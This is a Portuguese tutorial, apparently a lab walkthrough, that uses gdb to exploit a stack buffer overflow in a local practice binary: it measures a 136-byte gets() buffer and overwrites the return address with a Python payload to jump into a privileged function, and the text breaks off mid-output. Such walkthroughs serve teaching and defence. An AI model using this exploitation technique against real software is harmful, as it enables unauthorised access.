Introdução

O Buffer Overflow basicamente ocorre quando o programador aloca um determinado tamanho de buffer para uma variável que irá receber uma entrada do usuário e é passado um valor maior do que foi definido, fazendo assim "transbordar" o buffer e sobrescrever outros endereços da memória.

Explorando o binário

Iremos agora analisar um binário para explorar, sem ter acesso ao código fonte.

Para começar, podemos tentar enviar 300 bytes para ver como que o programa se comporta.

$ python3 -c 'print("A" * 300)' | ./protegido
Entre com a senha: Acesso Negado
[1]    1319 done                python3 -c 'print("A" * 300)' | 
       1320 segmentation fault  ./protegido

Podemos já perceber que ocorre o "segmentation fault".

Vamos debugar o programa e exibir suas funções com o comando info functions (o parâmetro -q é para o gdb não exibir algumas informações iniciais).

gdb -q ./protegido
Reading symbols from ./protegido...
(No debugging symbols found in ./protegido)
(gdb) info functions
All defined functions:

Non-debugging symbols:
0x00001000  _init
0x00001030  strcmp@plt
0x00001040  printf@plt
0x00001050  gets@plt
0x00001060  puts@plt
0x00001070  system@plt
0x00001080  exit@plt
0x00001090  __libc_start_main@plt
0x000010a0  __cxa_finalize@plt
0x000010b0  _start
0x000010f0  __x86.get_pc_thunk.bx
0x00001100  deregister_tm_clones
0x00001140  register_tm_clones
0x00001190  __do_global_dtors_aux
0x000011e0  frame_dummy
0x000011e5  __x86.get_pc_thunk.dx
0x000011e9  verifica
0x00001293  acessa
0x000012d3  main
0x00001330  __libc_csu_init
0x00001390  __libc_csu_fini
0x00001391  __x86.get_pc_thunk.bp
0x00001398  _fini

Para colocarmos na sintaxe da intel, basta usar o comando set disassembly-flavor intel.

Precisamos agora rodar o programa com o comando run.

Se quisermos debugar a função main, basta utilizar

(gdb) disas main
Dump of assembler code for function main:
   0x565562d3 <+0>:     lea    ecx,[esp+0x4]
   0x565562d7 <+4>:     and    esp,0xfffffff0
   0x565562da <+7>:     push   DWORD PTR [ecx-0x4]
   0x565562dd <+10>:    push   ebp
   0x565562de <+11>:    mov    ebp,esp
   0x565562e0 <+13>:    push   ebx
   0x565562e1 <+14>:    push   ecx
   0x565562e2 <+15>:    call   0x565560f0 <__x86.get_pc_thunk.bx>
   0x565562e7 <+20>:    add    ebx,0x2d19
   0x565562ed <+26>:    mov    eax,ecx
   0x565562ef <+28>:    cmp    DWORD PTR [eax],0x1
   0x565562f2 <+31>:    jle    0x56556310 <main+61>
   0x565562f4 <+33>:    sub    esp,0xc
   0x565562f7 <+36>:    lea    eax,[ebx-0x1f9a]
   0x565562fd <+42>:    push   eax
   0x565562fe <+43>:    call   0x56556060 <puts@plt>
   0x56556303 <+48>:    add    esp,0x10
   0x56556306 <+51>:    sub    esp,0xc
   0x56556309 <+54>:    push   0x1
   0x5655630b <+56>:    call   0x56556080 <exit@plt>
   0x56556310 <+61>:    call   0x565561e9 <verifica>
   0x56556315 <+66>:    mov    eax,0x0
   0x5655631a <+71>:    lea    esp,[ebp-0x8]
   0x5655631d <+74>:    pop    ecx
   0x5655631e <+75>:    pop    ebx
   0x5655631f <+76>:    pop    ebp
   0x56556320 <+77>:    lea    esp,[ecx-0x4]
   0x56556323 <+80>:    ret    
End of assembler dump.

Podemos observar que o programa chama a função "verifica".

(gdb) disas verifica
Dump of assembler code for function verifica:
   0x565561e9 <+0>:     push   ebp
   0x565561ea <+1>:     mov    ebp,esp
   0x565561ec <+3>:     push   ebx
   0x565561ed <+4>:     sub    esp,0x84
   0x565561f3 <+10>:    call   0x565560f0 <__x86.get_pc_thunk.bx>
   0x565561f8 <+15>:    add    ebx,0x2e08
   0x565561fe <+21>:    sub    esp,0xc
   0x56556201 <+24>:    lea    eax,[ebx-0x1ff8]
   0x56556207 <+30>:    push   eax
   0x56556208 <+31>:    call   0x56556040 <printf@plt>
   0x5655620d <+36>:    add    esp,0x10
   0x56556210 <+39>:    sub    esp,0xc
   0x56556213 <+42>:    lea    eax,[ebp-0x88]
   0x56556219 <+48>:    push   eax
   0x5655621a <+49>:    call   0x56556050 <gets@plt>
   0x5655621f <+54>:    add    esp,0x10
   0x56556222 <+57>:    sub    esp,0x8
   0x56556225 <+60>:    lea    eax,[ebx-0x1fe4]
   0x5655622b <+66>:    push   eax
   0x5655622c <+67>:    lea    eax,[ebp-0x88]
   0x56556232 <+73>:    push   eax
   0x56556233 <+74>:    call   0x56556030 <strcmp@plt>
   0x56556238 <+79>:    add    esp,0x10
   0x5655623b <+82>:    test   eax,eax
   0x5655623d <+84>:    jne    0x56556253 <verifica+106>
   0x5655623f <+86>:    sub    esp,0xc
   0x56556242 <+89>:    lea    eax,[ebx-0x1fe0]
   0x56556248 <+95>:    push   eax
   0x56556249 <+96>:    call   0x56556060 <puts@plt>
   0x5655624e <+101>:   add    esp,0x10
   0x56556251 <+104>:   jmp    0x56556289 <verifica+160>
   0x56556253 <+106>:   sub    esp,0x8
   0x56556256 <+109>:   lea    eax,[ebx-0x1fc5]
   0x5655625c <+115>:   push   eax
   0x5655625d <+116>:   lea    eax,[ebp-0x88]
   0x56556263 <+122>:   push   eax
   0x56556264 <+123>:   call   0x56556030 <strcmp@plt>
   0x56556269 <+128>:   add    esp,0x10
   0x5655626c <+131>:   test   eax,eax
   0x5655626e <+133>:   jne    0x56556277 <verifica+142>
   0x56556270 <+135>:   call   0x56556293 <acessa>
   0x56556275 <+140>:   jmp    0x56556289 <verifica+160>
   0x56556277 <+142>:   sub    esp,0xc
   0x5655627a <+145>:   lea    eax,[ebx-0x1fbb]
   0x56556280 <+151>:   push   eax

Com isso, podemos colocar um breakpoint no endereço depois da entrada de dados do usuário, que é a função gets, para analisar melhor. (0x5655621f)

Setando o breakpoint

(gdb) b* 0x0000121f
Breakpoint 1 at 0x121f

Agora vamos enviar os dados para o programa utilizando o python

(gdb) run < <(python3 -c "print('A' * 200)")

Podemos ver os registradores com o comando i r

(gdb) i r
eax            0x0                 0
ecx            0x0                 0
edx            0x0                 0
ebx            0x0                 0
esp            0xffffd220          0xffffd220
ebp            0x0                 0x0
esi            0x0                 0
edi            0x0                 0
eip            0xf7fcc070          0xf7fcc070
eflags         0x200               [ IF ]
cs             0x23                35
ss             0x2b                43
ds             0x2b                43
es             0x2b                43
fs             0x0                 0
gs             0x0                 0

Podemos também examinar a memória, olhando em hexadecimal o registrador esp.

(gdb) x/16xw $esp
0xffffd0c0:     0xffffd0d0      0xf7ffdb98      0xffffd144      0x565561f8
0xffffd0d0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd0e0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd0f0:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb) 
0xffffd100:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd110:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd120:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd130:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb) 
0xffffd140:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd150:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd160:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd170:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb) 
0xffffd180:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd190:     0x41414141      0x41414141      0xf7fc3400      0xf7fa2000
0xffffd1a0:     0x00000001      0x00000000      0xffffd208      0x00000000
0xffffd1b0:     0xf7ffd000      0x00000000      0x00000001      0x565560b0

Podemos observar que no endereço 0x56556213 da função verifica, é feito uma alocação de um espaço para um buffer de 0x88 que são 136 bytes. Com isso já facilita bastante para sabermos quantos bytes enviar corretamente.

$ python3 -c 'print(0x88)'
136

Enviando os bytes

(gdb) run < <(python3 -c 'print("A" * 136)')

Analisando os registradores, podemos ver que enviamos o suficiente para "quase" atingir o ebp e o eip.

(gdb) i r
eax            0xffffd0d0          -12080
ecx            0xf7fa2580          -134601344
edx            0xfbad2088          -72540024
ebx            0x56559000          1448448000
esp            0xffffd0c0          0xffffd0c0
ebp            0xffffd158          0xffffd158
esi            0x1                 1
edi            0x565560b0          1448435888
eip            0x5655621f          0x5655621f <verifica+54>
eflags         0x246               [ PF ZF IF ]
cs             0x23                35
ss             0x2b                43
ds             0x2b                43
es             0x2b                43
fs             0x0                 0
gs             0x63                99
(gdb) x/16xw $esp
0xffffd0c0:     0xffffd0d0      0xf7ffdb98      0xffffd144      0x565561f8
0xffffd0d0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd0e0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd0f0:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb) 
0xffffd100:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd110:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd120:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd130:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb) 
0xffffd140:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd150:     0x41414141      0x41414141      0xffffd100      0x56556315
0xffffd160:     0xffffd180      0x00000000      0x00000000      0xf7dd5905
0xffffd170:     0x00000001      0x565560b0      0x00000000      0xf7dd5905

(gdb) x/1xw $ebp
0xffffd158:     0xffffd100

Agora podemos enviar os 4 bytes do ebp e do eip

(gdb) run < <(python3 -c 'print("A" * 136 + "BBBB" + "CCCC")')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user/Desktop/bof/protegido < <(python3 -c 'print("A" * 136 + "BBBB" + "CCCC")')

Breakpoint 1, 0x5655621f in verifica ()
(gdb) i r
eax            0xffffd0d0          -12080
ecx            0xf7fa2580          -134601344
edx            0xfbad2088          -72540024
ebx            0x56559000          1448448000
esp            0xffffd0c0          0xffffd0c0
ebp            0xffffd158          0xffffd158
esi            0x1                 1
edi            0x565560b0          1448435888
eip            0x5655621f          0x5655621f <verifica+54>
eflags         0x246               [ PF ZF IF ]
cs             0x23                35
ss             0x2b                43
ds             0x2b                43
es             0x2b                43
fs             0x0                 0
gs             0x63                99
(gdb) x/16xw $esp
0xffffd0c0:     0xffffd0d0      0xf7ffdb98      0xffffd144      0x565561f8
0xffffd0d0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd0e0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd0f0:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb) 
0xffffd100:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd110:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd120:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd130:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb) 
0xffffd140:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd150:     0x41414141      0x41414141      0x42424242      0x43434343
0xffffd160:     0xffffd100      0x00000000      0x00000000      0xf7dd5905
0xffffd170:     0x00000001      0x565560b0      0x00000000      0xf7dd5905
(gdb) 

Com isso, podemos chamar a função acessa (que possui o endereço 0x56556270) que fica dentro da função main. Em seguida podemos analisar a memória e verificar se o EIP está sobrescrito com a função, em seguida só precisamos continuar o programa com sua execução.

(gdb) run < <(python3 -c 'print("A" * 136 + "BBBB" + "\x70\x62\x55\x56")')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/user/Desktop/bof/protegido < <(python3 -c 'print("A" * 136 + "BBBB" + "\x70\x62\x55\x56")')

Breakpoint 1, 0x5655621f in verifica ()
(gdb) x/16xw $esp
0xffffd0c0:     0xffffd0d0      0xf7ffdb98      0xffffd144      0x565561f8
0xffffd0d0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd0e0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd0f0:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb) 
0xffffd100:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd110:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd120:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd130:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb) 
0xffffd140:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd150:     0x41414141      0x41414141      0x42424242      0x56556270
0xffffd160:     0xffffd100      0x00000000      0x00000000      0xf7dd5905
0xffffd170:     0x00000001      0x565560b0      0x00000000      0xf7dd5905
(gdb) c
Continuing.
Entre com a senha: Acesso Negado
Bem vindo! 
[Detaching after vfork from child process 2404]
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),120(wireshark),124(bluetooth),136(scanner),145(kaboxer)

Program received signal SIGSEGV, Segmentation fault.
0x5655628e in verifica ()

Truques no debugger

Se soubermos qual endereço que precisamos ir diretamente, podemos direcionar o programa para isso no debugger.

Se quisermos alterar o fluxo do programa, basta utilizarmos (o endereço 0x56556270 é da função verifica)

(gdb) set $eip = 0x56556270
(gdb) i r
eax            0xf7fa49e8          -134592024
ecx            0xffffd180          -11904
edx            0xffffd1b4          -11852
ebx            0x0                 0
esp            0xffffd160          0xffffd160
ebp            0xffffd168          0xffffd168
esi            0x1                 1
edi            0x565560b0          1448435888
eip            0x56556270          0x56556270 <verifica+135>
eflags         0x282               [ SF IF ]
cs             0x23                35
ss             0x2b                43
ds             0x2b                43
es             0x2b                43
fs             0x0                 0
gs             0x63                99
(gdb) c
Continuing.
Bem vindo! 
[Detaching after vfork from child process 1644]
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),120(wireshark),124(bluetooth),136(scanner),145(kaboxer)

Agora, vamos tentar descobrir qual é a senha que o sistema está comparando. Antes da comparação, que é a função verifica, precisamos colocar um breakpoint para analisar a memória e tentarmos descobrir qual é a string que está sendo feito a comparação. Iremos utilizar o endereço 0x5655626e que fica antes da função verifica.

(gdb) b* 0x5655626e
Breakpoint 1 at 0x5655626e

The program has no registers now.
(gdb) run
Starting program: /home/user/Desktop/bof/protegido 
Entre com a senha: 1

Breakpoint 1, 0x5655626e in verifica ()
(gdb) i r
eax            0xffffffff          -1
ecx            0x70                112
edx            0xffffd0d0          -12080
ebx            0x56559000          1448448000
esp            0xffffd0d0          0xffffd0d0
ebp            0xffffd158          0xffffd158
esi            0x1                 1
edi            0x565560b0          1448435888
eip            0x5655626e          0x5655626e <verifica+133>
eflags         0x286               [ PF SF IF ]
cs             0x23                35
ss             0x2b                43
ds             0x2b                43
es             0x2b                43
fs             0x0                 0
gs             0x63                99
(gdb) x/20s $eip
0x5655626e <verifica+133>:      "u\a\350\036"
0x56556273 <verifica+138>:      ""
0x56556274 <verifica+139>:      ""
0x56556275 <verifica+140>:      "\353\022\203\354\f\215\203E\340\377\377P\350\332\375\377\377\203\304\020\270

Last updated